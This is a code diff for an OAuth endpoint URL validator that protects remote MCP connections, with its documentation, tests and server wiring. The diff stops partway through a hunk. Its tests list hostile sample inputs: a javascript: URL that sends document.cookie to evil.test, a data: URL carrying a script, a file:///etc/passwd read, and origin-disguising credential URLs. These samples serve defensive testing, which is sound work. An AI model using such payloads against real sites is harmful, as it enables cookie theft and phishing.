diff --git a/doc/connections/GENERIC-REMOTE-MCP.md b/doc/connections/GENERIC-REMOTE-MCP.md
index 85277816db8..1fc40ed4357 100644
--- a/doc/connections/GENERIC-REMOTE-MCP.md
+++ b/doc/connections/GENERIC-REMOTE-MCP.md
@@ -112,6 +112,33 @@ URL, the callback URI, and the company. If any of those change:
 
 Credentials are never reused across issuers or across companies.
 
+### Endpoint addresses are validated before they are used
+
+Every OAuth endpoint address is chosen by the remote server — in discovered
+metadata, in a `WWW-Authenticate` hint, in a pasted config, or in a gallery
+default — and the authorization endpoint additionally becomes a top-level browser
+navigation. All of them are parsed by one shared validator
+(`checkOAuthEndpointUrl` in `@paperclipai/shared`) and must be:
+
+- **`https:`.** Plain `http:` is refused, except for a loopback host under the
+  local-development policy (the same policy that allows private remote
+  endpoints), and except for this deployment's own origin.
+- **Free of embedded credentials.** `https://accounts.google.com@evil.test/…`
+  reads as the wrong site to a human, so Paperclip refuses it.
+- **Free of a fragment**, and a well-formed absolute URL.
+
+`javascript:`, `data:`, `file:` and friends are therefore refused before they can
+reach `window.location`. The board applies the same validator to the address it
+receives, so an unsafe value cannot pass the API boundary and then execute at the
+navigation boundary. A refusal is reported as
+`oauth_<kind>_endpoint_rejected` (422) and the unsafe value is never persisted on
+the connection.
+
+An address that passes is still only an address: a valid HTTPS authorization page
+can be a phishing page. The redirect screen names the host you are being sent to,
+and the **Unverified server** label stays visible for an endpoint with no curated
+definition.
+
 ### Protocol conformance
 
 - RFC 8707 `resource` on authorization, token, and refresh requests, naming the
diff --git a/packages/shared/src/index.ts b/packages/shared/src/index.ts
index 0bace688d1d..cbf7acea361 100644
--- a/packages/shared/src/index.ts
+++ b/packages/shared/src/index.ts
@@ -266,6 +266,16 @@ export {
   type McpRemoteHeaderCheck,
   type McpRemoteHeaderRejection,
 } from "./mcp-remote-headers.js";
+export {
+  checkOAuthEndpointUrl,
+  isSafeOAuthEndpointUrl,
+  oauthEndpointDisplayHost,
+  oauthEndpointUrlRejectionMessage,
+  type OAuthEndpointKind,
+  type OAuthEndpointUrlCheck,
+  type OAuthEndpointUrlOptions,
+  type OAuthEndpointUrlRejection,
+} from "./oauth-endpoint-url.js";
 export {
   COMPANY_STATUSES,
   DEFAULT_COMPANY_ATTACHMENT_MAX_BYTES,
diff --git a/packages/shared/src/oauth-endpoint-url.test.ts b/packages/shared/src/oauth-endpoint-url.test.ts
new file mode 100644
index 00000000000..7f7ad634b3d
--- /dev/null
+++ b/packages/shared/src/oauth-endpoint-url.test.ts
@@ -0,0 +1,182 @@
+import { describe, expect, it } from "vitest";
+import {
+  checkOAuthEndpointUrl,
+  isSafeOAuthEndpointUrl,
+  oauthEndpointDisplayHost,
+  oauthEndpointUrlRejectionMessage,
+} from "./oauth-endpoint-url.js";
+
+describe("checkOAuthEndpointUrl", () => {
+  it("accepts an https endpoint and returns its normalized url and host", () => {
+    const check = checkOAuthEndpointUrl("https://auth.example.test/oauth/authorize?prompt=consent");
+    expect(check).toEqual({
+      ok: true,
+      url: "https://auth.example.test/oauth/authorize?prompt=consent",
+      host: "auth.example.test",
+    });
+  });
+
+  it("keeps a non-default port in the displayed host", () => {
+    const check = checkOAuthEndpointUrl("https://auth.example.test:8443/authorize");
+    expect(check.ok && check.host).toBe("auth.example.test:8443");
+  });
+
+  // The values a hostile MCP server would advertise to get code running in the
+  // board's origin or to read a local file.
+  it.each([
+    ["javascript:alert(document.cookie)", "unsupported_scheme"],
+    ["javascript:fetch('https://evil.test/'+document.cookie)", "unsupported_scheme"],
+    ["data:text/html,<script>alert(1)</script>", "unsupported_scheme"],
+    ["file:///etc/passwd", "unsupported_scheme"],
+    ["vbscript:msgbox(1)", "unsupported_scheme"],
+    ["about:blank", "unsupported_scheme"],
+    ["blob:https://auth.example.test/1234", "unsupported_scheme"],
+    ["chrome://settings", "unsupported_scheme"],
+  ])("rejects %s", (value, reason) => {
+    expect(checkOAuthEndpointUrl(value)).toEqual({ ok: false, reason });
+    expect(isSafeOAuthEndpointUrl(value)).toBe(false);
+  });
+
+  it("rejects a scheme that only differs by case or padding", () => {
+    expect(checkOAuthEndpointUrl("  JavaScript:alert(1)  ").ok).toBe(false);
+    expect(checkOAuthEndpointUrl("JAVASCRIPT:alert(1)")).toEqual({ ok: false, reason: "unsupported_scheme" });
+  });
+
+  it("rejects plaintext http by default, loopback included", () => {
+    expect(checkOAuthEndpointUrl("http://auth.example.test/authorize")).toEqual({
+      ok: false,
+      reason: "insecure_transport",
+    });
+    expect(checkOAuthEndpointUrl("http://127.0.0.1:9000/authorize")).toEqual({
+      ok: false,
+      reason: "insecure_transport",
+    });
+  });
+
+  it("allows loopback http only under the local-development policy", () => {
+    const options = { allowInsecureLoopback: true };
+    for (const value of [
+      "http://localhost:3100/authorize",
+      "http://app.localhost:3100/authorize",
+      "http://127.0.0.1:3100/authorize",
+      "http://127.9.9.9:3100/authorize",
+      "http://[::1]:3100/authorize",
+    ]) {
+      expect(checkOAuthEndpointUrl(value, options).ok, value).toBe(true);
+    }
+  });
+
+  it("still rejects non-loopback http under the local-development policy", () => {
+    for (const value of [
+      "http://auth.example.test/authorize",
+      "http://10.0.0.5/authorize",
+      // Hosts that only *look* loopback.
+      "http://127.0.0.1.evil.test/authorize",
+      "http://localhost.evil.test/authorize",
+      "http://notlocalhost/authorize",
+    ]) {
+      expect(checkOAuthEndpointUrl(value, { allowInsecureLoopback: true }), value).toEqual({
+        ok: false,
+        reason: "insecure_transport",
+      });
+    }
+  });
+
+  it("allows plaintext http for Paperclip's own origin only", () => {
+    const options = { allowInsecureOrigins: ["http://paperclip.test"] };
+    expect(checkOAuthEndpointUrl("http://paperclip.test/api/smoke-lab/oauth/authorize", options).ok).toBe(true);
+    // Port and scheme are part of the origin, so a neighbour is not exempt.
+    expect(checkOAuthEndpointUrl("http://paperclip.test:8080/authorize", options)).toEqual({
+      ok: false,
+      reason: "insecure_transport",
+    });
+    expect(checkOAuthEndpointUrl("http://evil.test/authorize", options)).toEqual({
+      ok: false,
+      reason: "insecure_transport",
+    });
+    // The exemption is about transport only: an unsafe scheme is still unsafe.
+    expect(checkOAuthEndpointUrl("javascript:alert(1)", options)).toEqual({
+      ok: false,
+      reason: "unsupported_scheme",
+    });
+    // A garbage entry in the exemption list cannot open anything up.
+    expect(checkOAuthEndpointUrl("http://paperclip.test/authorize", { allowInsecureOrigins: ["nonsense"] })).toEqual({
+      ok: false,
+      reason: "insecure_transport",
+    });
+  });
+
+  it("rejects embedded credentials that disguise the real origin", () => {
+    expect(checkOAuthEndpointUrl("https://accounts.google.com@evil.test/authorize")).toEqual({
+      ok: false,
+      reason: "embedded_credentials",
+    });
+    expect(checkOAuthEndpointUrl("https://user:pw@auth.example.test/authorize")).toEqual({
+      ok: false,
+      reason: "embedded_credentials",
+    });
+  });
+
+  it("rejects a fragment", () => {
+    expect(checkOAuthEndpointUrl("https://auth.example.test/authorize#/../../evil")).toEqual({
+      ok: false,
+      reason: "fragment",
+    });
+  });
+
+  it("rejects malformed and empty values", () => {
+    expect(checkOAuthEndpointUrl("/authorize")).toEqual({ ok: false, reason: "malformed" });
+    expect(checkOAuthEndpointUrl("not a url")).toEqual({ ok: false, reason: "malformed" });
+    expect(checkOAuthEndpointUrl("https://")).toEqual({ ok: false, reason: "malformed" });
+    // A special scheme with no authority is re-parsed by WHATWG as a hostname,
+    // so it lands on the transport rule rather than being treated as relative.
+    expect(checkOAuthEndpointUrl("http:relative", { allowInsecureLoopback: true })).toEqual({
+      ok: false,
+      reason: "insecure_transport",
+    });
+    expect(checkOAuthEndpointUrl("")).toEqual({ ok: false, reason: "missing" });
+    expect(checkOAuthEndpointUrl("   ")).toEqual({ ok: false, reason: "missing" });
+    expect(checkOAuthEndpointUrl(null)).toEqual({ ok: false, reason: "missing" });
+    expect(checkOAuthEndpointUrl({ href: "https://auth.example.test" })).toEqual({
+      ok: false,
+      reason: "missing",
+    });
+  });
+});
+
+describe("oauthEndpointUrlRejectionMessage", () => {
+  it("names the endpoint without echoing the untrusted value", () => {
+    const message = oauthEndpointUrlRejectionMessage("authorization", "unsupported_scheme");
+    expect(message).toContain("sign-in");
+    expect(message).toContain("https");
+    expect(message).not.toContain("javascript");
+  });
+
+  it("covers every rejection reason for every endpoint kind", () => {
+    for (const kind of ["authorization", "token", "registration", "metadata"] as const) {
+      for (const reason of [
+        "missing",
+        "malformed",
+        "unsupported_scheme",
+        "insecure_transport",
+        "embedded_credentials",
+        "fragment",
+      ] as const) {
+        expect(oauthEndpointUrlRejectionMessage(kind, reason).length, `${kind}/${reason}`).toBeGreaterThan(0);
+      }
+    }
+  });
+});
+
+describe("oauthEndpointDisplayHost", () => {
+  it("returns the host for display", () => {
+    expect(oauthEndpointDisplayHost("https://auth.example.test/authorize?x=1")).toBe("auth.example.test");
+    expect(oauthEndpointDisplayHost("https://auth.example.test:8443/authorize")).toBe("auth.example.test:8443");
+  });
+
+  it("returns null for a value with no host", () => {
+    expect(oauthEndpointDisplayHost("javascript:alert(1)")).toBeNull();
+    expect(oauthEndpointDisplayHost("nonsense")).toBeNull();
+    expect(oauthEndpointDisplayHost(null)).toBeNull();
+  });
+});
diff --git a/packages/shared/src/oauth-endpoint-url.ts b/packages/shared/src/oauth-endpoint-url.ts
new file mode 100644
index 00000000000..5ea73648dc5
--- /dev/null
+++ b/packages/shared/src/oauth-endpoint-url.ts
@@ -0,0 +1,173 @@
+/**
+ * Scheme/transport safety for OAuth endpoints Paperclip learned from a remote
+ * server (PAP-17099).
+ *
+ * A generic remote MCP connection can point at any endpoint, and that endpoint
+ * gets to advertise its own authorization-server metadata. The
+ * `authorization_endpoint` it names is not just fetched server-side — Paperclip
+ * hands it to the operator's browser as a top-level navigation, so an arbitrary
+ * string there is a code-execution and open-redirect primitive:
+ * `javascript:` / `data:` would run in the board's origin, and plain `http:`
+ * would carry the authorization request (and the operator) over a network any
+ * intermediary can rewrite.
+ *
+ * So every endpoint URL discovered from metadata, pasted by an operator, taken
+ * from a `WWW-Authenticate` hint, or shipped as a gallery default is parsed
+ * here — once, in shared code — and must be:
+ *
+ * - a well-formed absolute URL (anything `new URL` rejects is rejected);
+ * - `https:`, or `http:` only for a loopback host under the caller's explicit
+ *   local-development policy (the server passes its private-network policy, the
+ *   board passes "am I myself served over plaintext HTTP");
+ * - free of embedded credentials, because `https://evil.test@real.test/...`
+ *   reads as the wrong origin to a human and Paperclip must not help;
+ * - free of a fragment, which never survives an authorization request usefully
+ *   and is a classic way to hide the effective target from a reader.
+ *
+ * Both the server and the board import this so a value that passes the API
+ * boundary cannot fail the navigation boundary, or vice versa.
+ */
+
+export type OAuthEndpointKind = "authorization" | "token" | "registration" | "metadata";
+
+export type OAuthEndpointUrlRejection =
+  | "missing"
+  | "malformed"
+  | "unsupported_scheme"
+  | "insecure_transport"
+  | "embedded_credentials"
+  | "fragment";
+
+export interface OAuthEndpointUrlOptions {
+  /**
+   * Allow `http:` for loopback hosts. Only true under an explicit
+   * local-development policy — never for a public deployment.
+   */
+  allowInsecureLoopback?: boolean;
+  /**
+   * Origins whose `http:` is already the operator's own trust boundary —
+   * in practice just Paperclip's own deployment origin. A deployment served over
+   * plaintext HTTP on a LAN address can still run its own authorization
+   * endpoints (the smoke-lab fixture does), and opening Paperclip from Paperclip
+   * adds no exposure the board does not already have.
+   */
+  allowInsecureOrigins?: string[];
+}
+
+export type OAuthEndpointUrlCheck =
+  | { ok: true; url: string; host: string }
+  | { ok: false; reason: OAuthEndpointUrlRejection };
+
+/** `127.0.0.0/8` — the whole loopback range, not just `127.0.0.1`. */
+function isLoopbackIpv4(hostname: string): boolean {
+  const parts = hostname.split(".");
+  if (parts.length !== 4) return false;
+  if (!parts.every((part) => /^\d{1,3}$/.test(part) && Number(part) <= 255)) return false;
+  return parts[0] === "127";
+}
+
+function isLoopbackHost(hostname: string): boolean {
+  const host = hostname.replace(/^\[|\]$/g, "").toLowerCase();
+  if (host === "localhost" || host.endsWith(".localhost")) return true;
+  if (host === "::1") return true;
+  const mapped = host.match(/^::ffff:(\d{1,3}(?:\.\d{1,3}){3})$/);
+  if (mapped?.[1]) return isLoopbackIpv4(mapped[1]);
+  return isLoopbackIpv4(host);
+}
+
+function normalizedOrigin(value: string): string | null {
+  try {
+    const origin = new URL(value).origin;
+    return origin === "null" ? null : origin;
+  } catch {
+    return null;
+  }
+}
+
+function insecureTransportAllowed(parsed: URL, options: OAuthEndpointUrlOptions): boolean {
+  if (options.allowInsecureLoopback && isLoopbackHost(parsed.hostname)) return true;
+  return (options.allowInsecureOrigins ?? []).some((origin) => normalizedOrigin(origin) === parsed.origin);
+}
+
+/**
+ * Is `value` an OAuth endpoint Paperclip is willing to use — and, for the
+ * authorization endpoint, to navigate a browser to? Returns the normalized URL
+ * and its host on success, or the specific rejection reason so callers can
+ * produce an actionable message.
+ */
+export function checkOAuthEndpointUrl(
+  value: unknown,
+  options: OAuthEndpointUrlOptions = {},
+): OAuthEndpointUrlCheck {
+  if (typeof value !== "string" || value.trim().length === 0) {
+    return { ok: false, reason: "missing" };
+  }
+  let parsed: URL;
+  try {
+    parsed = new URL(value.trim());
+  } catch {
+    return { ok: false, reason: "malformed" };
+  }
+  if (parsed.protocol !== "https:" && parsed.protocol !== "http:") {
+    return { ok: false, reason: "unsupported_scheme" };
+  }
+  // A `javascript:`/`data:` URL has no host, and neither does something like
+  // `http:relative` — without an authority there is no origin to trust.
+  if (!parsed.hostname) return { ok: false, reason: "malformed" };
+  if (parsed.protocol === "http:" && !insecureTransportAllowed(parsed, options)) {
+    return { ok: false, reason: "insecure_transport" };
+  }
+  if (parsed.username || parsed.password) return { ok: false, reason: "embedded_credentials" };
+  if (parsed.hash) return { ok: false, reason: "fragment" };
+  return { ok: true, url: parsed.toString(), host: parsed.host };
+}
+
+export function isSafeOAuthEndpointUrl(value: unknown, options: OAuthEndpointUrlOptions = {}): boolean {
+  return checkOAuthEndpointUrl(value, options).ok;
+}
+
+const KIND_LABELS: Record<OAuthEndpointKind, string> = {
+  authorization: "sign-in",
+  token: "token",
+  registration: "client registration",
+  metadata: "metadata",
+};
+
+/**
+ * A UI-safe explanation for a rejected endpoint. Never echoes the URL, because
+ * the string came from the remote server and may itself be the attack.
+ */
+export function oauthEndpointUrlRejectionMessage(
+  kind: OAuthEndpointKind,
+  reason: OAuthEndpointUrlRejection,
+): string {
+  const label = KIND_LABELS[kind];
+  switch (reason) {
+    case "missing":
+      return `This server did not provide a ${label} address.`;
+    case "malformed":
+      return `This server's ${label} address is not a valid URL, so Paperclip stopped.`;
+    case "unsupported_scheme":
+      return `This server's ${label} address does not use https, so Paperclip stopped.`;
+    case "insecure_transport":
+      return `This server's ${label} address is not secure (https), so Paperclip stopped.`;
+    case "embedded_credentials":
+      return `This server's ${label} address hides a different site behind a username, so Paperclip stopped.`;
+    case "fragment":
+      return `This server's ${label} address is malformed for sign-in, so Paperclip stopped.`;
+  }
+}
+
+/**
+ * The host to show an operator before they are sent to an authorization page.
+ * `null` when the value is not a usable URL — callers should be refusing to
+ * navigate at that point anyway.
+ */
+export function oauthEndpointDisplayHost(value: unknown): string | null {
+  if (typeof value !== "string" || !value.trim()) return null;
+  try {
+    return new URL(value.trim()).host || null;
+  } catch {
+    return null;
+  }
+}
diff --git a/server/src/__tests__/generic-mcp-connection.test.ts b/server/src/__tests__/generic-mcp-connection.test.ts
index 88f65aa6a94..8475feabaf2 100644
--- a/server/src/__tests__/generic-mcp-connection.test.ts
+++ b/server/src/__tests__/generic-mcp-connection.test.ts
@@ -72,6 +72,13 @@ type FixtureOptions = {
   dcr?: boolean;
   /** Serve authorization-server metadata under the RFC 8414 insertion path only. */
   wellKnownStyle?: "rfc8414" | "oidc-suffix";
+  /**
+   * Advertise this exact string as `authorization_endpoint` (PAP-17099). The
+   * value is whatever a hostile server wants — it is never a trusted URL.
+   */
+  authorizationEndpoint?: string;
+  /** Advertise this exact string as `token_endpoint` (PAP-17099). */
+  tokenEndpoint?: string;
   /** Value the token endpoint returns as the issuer, for `iss` tests. */
   tools?: unknown[];
 };
@@ -136,8 +143,8 @@ function installMcpOAuthFixture(options: FixtureOptions = {}) {
 
   const authorizationServerMetadata = () => ({
     issuer: ISSUER,
-    authorization_endpoint: `${ISSUER}/authorize`,
-    token_endpoint: `${ISSUER}/token`,
+    authorization_endpoint: options.authorizationEndpoint ?? `${ISSUER}/authorize`,
+    token_endpoint: options.tokenEndpoint ?? `${ISSUER}/token`,
     ...(options.dcr === false ? {} : { registration_endpoint: `${ISSUER}/register` }),
     ...(options.cimd ? { client_id_metadata_document_supported: true } : {}),
     code_challenge_methods_supported: ["S256"],
@@ -680,6 +687,112 @@ describeEmbeddedPostgres("generic remote MCP connections", () => {
     })).rejects.toMatchObject({ details: { code: "oauth_manual_client_rebinding_required" } });
   });
 
+  /**
+   * PAP-17099 — the authorization endpoint is the one discovered value Paperclip
+   * hands to the operator's browser as a top-level navigation, so a hostile
+   * server must not be able to advertise a scheme that runs code in the board's
+   * origin, reads a local file, or downgrades the authorization request.
+   */
+  describe("unsafe advertised authorization endpoints", () => {
+    it.each([
+      ["javascript:", "javascript:fetch('https://evil.test/'+document.cookie)"],
+      ["data:", "data:text/html,<script>alert(document.domain)</script>"],
+      ["file:", "file:///etc/passwd"],
+      ["plaintext http", "http://evil.fixture.test/authorize"],
+      ["credentials disguising the origin", "https://mcp.fixture.test@evil.fixture.test/authorize"],
+      ["a fragment", "https://auth.fixture.test/authorize#@evil.fixture.test"],
+      ["a malformed url", "not-a-url"],
+    ])("refuses to connect when the server advertises %s", async (_label, authorizationEndpoint) => {
+      installMcpOAuthFixture({ auth: "oauth", authorizationEndpoint });
+      const company = await createCompany(db);
+      const service = toolAccessService(db);
+
+      await expect(service.connectGalleryApp(company.id, { link: MCP_URL, name: "Fixture hostile authorize" }))
+        .rejects.toMatchObject({ status: 422, details: { code: "oauth_authorization_endpoint_rejected" } });
+
+      // Nothing about the refused endpoint is persisted, so a later reconnect
+      // cannot pick it back up out of the connection config.
+      const [connection] = await db.select().from(toolConnections);
+      expect(JSON.stringify(connection?.config ?? {})).not.toContain(authorizationEndpoint);
+      await expect(db.select().from(toolOauthStates)).resolves.toHaveLength(0);
+    });
+
+    it("never navigates to a stored authorization endpoint that is unsafe", async () => {
+      installMcpOAuthFixture({ auth: "oauth" });
+      const company = await createCompany(db);
+      const service = toolAccessService(db);
+
+      const connected = await service.connectGalleryApp(company.id, { link: MCP_URL, name: "Fixture poisoned config" });
+      // A row written before the gate existed (or by any other writer) is not
+      // trusted just because it is in Paperclip's own database.
+      const poisonStoredAuthorizationUrl = async () => {
+        const [row] = await db.select().from(toolConnections).where(eq(toolConnections.id, connected.connectionId));
+        const poisoned = {
+          ...row!.config,
+          oauth: { ...(row!.config.oauth as Record<string, unknown>), authorizationUrl: "javascript:alert(1)" },
+        };
+        await db.update(toolConnections)
+          .set({ config: poisoned, transportConfig: poisoned })
+          .where(eq(toolConnections.id, connected.connectionId));
+      };
+      await poisonStoredAuthorizationUrl();
+
+      // The stored value is discarded and re-discovered rather than opened.
+      const start = await service.startOAuth(company.id, connected.connectionId, {
+        redirectUri: REDIRECT_URI,
+        actor: { actorType: "user", actorId: "board-user" },
+      });
+      expect(start.authorizationUrl.startsWith(`${ISSUER}/authorize?`)).toBe(true);
+
+      // And when re-discovery cannot supply a safe endpoint, sign-in fails
+      // closed with the reason instead of falling back to the stored value.
+      await db.delete(toolOauthStates);
+      await poisonStoredAuthorizationUrl();
+      vi.restoreAllMocks();
+      vi.spyOn(globalThis, "fetch").mockResolvedValue(jsonResponse({}, 404));
+      await expect(service.startOAuth(company.id, connected.connectionId, {
+        redirectUri: REDIRECT_URI,
+        actor: { actorType: "user", actorId: "board-user" },
+      })).rejects.toMatchObject({ status: 422, details: { code: "oauth_authorization_endpoint_rejected" } });
+      await expect(db.select().from(toolOauthStates)).resolves.toHaveLength(0);
+    });
+
+    it("refuses an unsafe token endpoint even when the authorization endpoint is fine", async () => {
+      installMcpOAuthFixture({ auth: "oauth", tokenEndpoint: "http://evil.fixture.test/token" });
+      const company = await createCompany(db);
+      const service = toolAccessService(db);
+
+      await expect(service.connectGalleryApp(company.id, { link: MCP_URL, name: "Fixture hostile token" }))
+        .rejects.toMatchObject({ status: 422, details: { code: "oauth_token_endpoint_rejected" } });
+    });
+
+    it("allows loopback http only outside an authenticated public deployment", async () => {
+      installMcpOAuthFixture({ auth: "oauth", authorizationEndpoint: "http://127.0.0.1:8930/authorize" });
+      const company = await createCompany(db);
+      // Default deployment = local development, where a loopback authorization
+      // server is how someone tests their own MCP server.
+      const service = toolAccessService(db);
+      const connected = await service.connectGalleryApp(company.id, { link: MCP_URL, name: "Fixture loopback authorize" });
+      const start = await service.startOAuth(company.id, connected.connectionId, {
+        redirectUri: REDIRECT_URI,
+        actor: { actorType: "user", actorId: "board-user" },
+      });
+      expect(new URL(start.authorizationUrl).origin).toBe("http://127.0.0.1:8930");
+
+      // Same connection, same discovered endpoint, authenticated public
+      // deployment: the local-development exception no longer applies.
+      await db.delete(toolOauthStates);
+      const publicService = toolAccessService(db, {
+        deploymentMode: "authenticated",
+        deploymentExposure: "public",
+      });
+      await expect(publicService.startOAuth(company.id, connected.connectionId, {
+        redirectUri: REDIRECT_URI,
+        actor: { actorType: "user", actorId: "board-user" },
+      })).rejects.toMatchObject({ status: 422, details: { code: "oauth_authorization_endpoint_rejected" } });
+    });
+  });
+
   it("rejects a private-network endpoint in an authenticated public deployment", async () => {
     installMcpOAuthFixture({ auth: "public" });
     const company = await createCompany(db);
diff --git a/server/src/services/tool-access.ts b/server/src/services/tool-access.ts
index 95f94222399..84d16652d94 100644
--- a/server/src/services/tool-access.ts
+++ b/server/src/services/tool-access.ts
@@ -116,6 +116,12 @@ import {
   mcpRemoteHeaderNameFromConfigPath,
   mcpRemoteHeaderRejectionMessage,
 } from "@paperclipai/shared";
+import {
+  checkOAuthEndpointUrl,
+  oauthEndpointUrlRejectionMessage,
+  type OAuthEndpointKind,
+  type OAuthEndpointUrlRejection,
+} from "@paperclipai/shared";
 import { badRequest, conflict, forbidden, HttpError, notFound, unprocessable } from "../errors.js";
 import { logActivity } from "./activity-log.js";
 import { mcpHttpRequestHeaders, parseMcpHttpResponseBody } from "./mcp-http.js";
@@ -1515,9 +1521,38 @@ function descriptorHash(tool: McpToolDescriptor, riskLevel: ToolRiskLevel): stri
   });
 }
 
+/**
+ * Did this error come from the OAuth endpoint gate (PAP-17099)? Such a refusal
+ * is Paperclip's own decision about an unsafe address, so it must keep its code
+ * and its 422 instead of being folded into a generic upstream failure.
+ */
+function originOf(value: string | null | undefined): string | null {
+  if (!value) return null;
+  try {
+    return new URL(value).origin;
+  } catch {
+    return null;
+  }
+}
+
+function isOAuthEndpointRejection(error: unknown): boolean {
+  if (!(error instanceof HttpError)) return false;
+  const code = asRecord(error.details).code;
+  return typeof code === "string" && code.endsWith("_endpoint_rejected");
+}
+
+function healthFailureHttpStatus(failure: { status: ToolConnectionHealthStatus; code: string }): number {
+  if (failure.status === "missing_secret") return 422;
+  if (failure.code.endsWith("_endpoint_rejected")) return 422;
+  return 502;
+}
+
 function sanitizeHttpFailure(error: unknown): { status: ToolConnectionHealthStatus; message: string; code: string } {
   if (error instanceof HttpError) {
     const code = asRecord(error.details).code;
+    if (isOAuthEndpointRejection(error)) {
+      return { status: "error", message: error.message, code: String(code) };
+    }
     if (code === "oauth_challenge") {
       return {
         status: "error",
@@ -1651,6 +1686,94 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {}
     return assertRemoteHttpUrlAllowed(remoteEndpoint(config));
   }
 
+  /**
+   * OAuth endpoint scheme/transport gate (PAP-17099).
+   *
+   * Every OAuth endpoint Paperclip acts on is attacker-influenced: discovered
+   * metadata, a `WWW-Authenticate` hint, a pasted config, or a gallery default.
+   * The authorization endpoint is the sharpest one because it is handed to the
+   * operator's browser as a top-level navigation, so `javascript:`/`data:` there
+   * would run in the board's origin. `checkOAuthEndpointUrl` is the single place
+   * that decides; loopback `http:` is accepted only under the same
+   * local-development policy that governs private remote endpoints, and
+   * Paperclip's own origin is exempt from the transport rule because a
+   * first-party endpoint (the smoke-lab fixture) is served exactly as the board
+   * itself is.
+   */
+  function oauthEndpointRejected(kind: OAuthEndpointKind, reason: OAuthEndpointUrlRejection): HttpError {
+    return new HttpError(422, oauthEndpointUrlRejectionMessage(kind, reason), {
+      code: `oauth_${kind}_endpoint_rejected`,
+      reason,
+    });
+  }
+
+  /**
+   * Origins that are Paperclip itself: this deployment's configured public URL,
+   * plus the callback origin of the request in hand when there is one. Only the
+   * plaintext-transport rule is relaxed for these.
+   */
+  function firstPartyOrigins(candidate?: string | null): string[] {
+    const configured = process.env.PAPERCLIP_PUBLIC_URL?.trim()
+      || process.env.PAPERCLIP_AUTH_PUBLIC_BASE_URL?.trim()
+      || process.env.BETTER_AUTH_URL?.trim()
+      || process.env.BETTER_AUTH_BASE_URL?.trim()
+      || null;
+    return [originOf(candidate), originOf(configured)].filter((origin): origin is string => Boolean(origin));
+  }
+
+  /**
+   * Origins for which the plaintext-transport rule is relaxed when checking
+   * `value`. Adds the smoke-lab fixture's own origin, because that provider is
+   * mounted on this deployment's own routes — `assertNotSmokeLabOAuthEndpoints`
+   * is what stops any other connection from claiming those paths — and a smoke
+   * run may be driven against a deployment served over plaintext HTTP.
+   */
+  function insecureTransportExemptions(value: unknown, candidate?: string | null): string[] {
+    const origins = firstPartyOrigins(candidate);
+    if (typeof value === "string" && isSmokeLabOAuthUrl(value)) {
+      const origin = originOf(value);
+      if (origin) origins.push(origin);
+    }
+    return origins;
+  }
+
+  /** Throws unless `value` is an endpoint Paperclip may use (and navigate to). */
+  function assertOAuthEndpointUrl(
+    kind: OAuthEndpointKind,
+    value: unknown,
+    options: { firstPartyOrigin?: string | null } = {},
+  ): string {
+    const check = checkOAuthEndpointUrl(value, {
+      allowInsecureLoopback: allowPrivateRemoteEndpoints(),
+      allowInsecureOrigins: insecureTransportExemptions(value, options.firstPartyOrigin),
+    });
+    if (!check.ok) throw oauthEndpointRejected(kind, check.reason);
+    return check.url;
+  }
+
+  /**
+   * Discovery variant: an unusable endpoint is dropped rather than thrown, so a
+   * second advertised authorization server (or a later metadata candidate) still
+   * gets a chance. Rejections are recorded in `rejections`; discovery raises the
+   * first one only if it ends up with nothing safe to use, so the operator sees
+   * *why* instead of a bare "does not advertise OAuth sign in".
+   */
+  function safeOAuthEndpointUrl(
+    kind: OAuthEndpointKind,
+    value: unknown,
+    rejections: HttpError[],
+    firstPartyOrigin?: string | null,
+  ): string | null {
+    if (value === null || value === undefined || value === "") return null;
+    const check = checkOAuthEndpointUrl(value, {
+      allowInsecureLoopback: allowPrivateRemoteEndpoints(),
+      allowInsecureOrigins: insecureTransportExemptions(value, firstPartyOrigin),
+    });
+    if (check.ok) return check.url;
+    if (check.reason !== "missing") rejections.push(oauthEndpointRejected(kind, check.reason));
+    return null;
+  }
+
   function trustedRuntimeHost() {
     return options.trustedLocalStdioRuntimeHost
       ?? process.env.PAPERCLIP_TRUSTED_MCP_RUNTIME_HOST
@@ -3248,7 +3371,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {}
         actor,
         details: { status: failure.status, transport: connection.transport },
       });
-      throw new HttpError(failure.status === "missing_secret" ? 422 : 502, failure.message, {
+      throw new HttpError(healthFailureHttpStatus(failure), failure.message, {
         code: failure.code,
         connection: toConnection(updated),
         runtimeSlot,
@@ -3276,7 +3399,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {}
         details: { status: failure.status },
         actor,
       });
-      throw new HttpError(failure.status === "missing_secret" ? 422 : 502, failure.message, {
+      throw new HttpError(healthFailureHttpStatus(failure), failure.message, {
         code: failure.code,
         setupUrl: connectionSetupUrl(connection),
         reconnectUrl: connectionReconnectUrl(connection),
@@ -4253,12 +4376,16 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {}
   async function endpointsFromMetadataUrl(
     connection: typeof toolConnections.$inferSelect,
     metadataUrl: string,
+    rejections: HttpError[] = [],
+    firstPartyOrigin?: string | null,
   ): Promise<OAuthProviderEndpoints | null> {
     const metadata = await fetchJsonRecord(metadataUrl);
     if (!metadata) return null;
-    let authorizationUrl = typeof metadata.authorization_endpoint === "string" ? metadata.authorization_endpoint : null;
-    let tokenUrl = typeof metadata.token_endpoint === "string" ? metadata.token_endpoint : null;
-    let registrationUrl = typeof metadata.registration_endpoint === "string" ? metadata.registration_endpoint : null;
+    // Every endpoint below is a string the remote server chose, so none of them
+    // is adopted before `safeOAuthEndpointUrl` has vetted its scheme and host.
+    let authorizationUrl = safeOAuthEndpointUrl("authorization", metadata.authorization_endpoint, rejections, firstPartyOrigin);
+    let tokenUrl = safeOAuthEndpointUrl("token", metadata.token_endpoint, rejections, firstPartyOrigin);
+    let registrationUrl = safeOAuthEndpointUrl("registration", metadata.registration_endpoint, rejections, firstPartyOrigin);
     let scopes = normalizeOauthScopes(metadata.scopes_supported);
     let codeChallengeMethodsSupported = normalizeOauthScopes(metadata.code_challenge_methods_supported);
     let tokenEndpointAuthMethodsSupported = normalizeOauthScopes(metadata.token_endpoint_auth_methods_supported);
@@ -4276,10 +4403,13 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {}
     for (const candidate of authServerMetadataUrls(metadata)) {
       const authMetadata = await fetchJsonRecord(candidate.metadataUrl);
       if (!authMetadata) continue;
-      const candidateAuthorizationUrl = typeof authMetadata.authorization_endpoint === "string"
-        ? authMetadata.authorization_endpoint
-        : null;
-      const candidateTokenUrl = typeof authMetadata.token_endpoint === "string" ? authMetadata.token_endpoint : null;
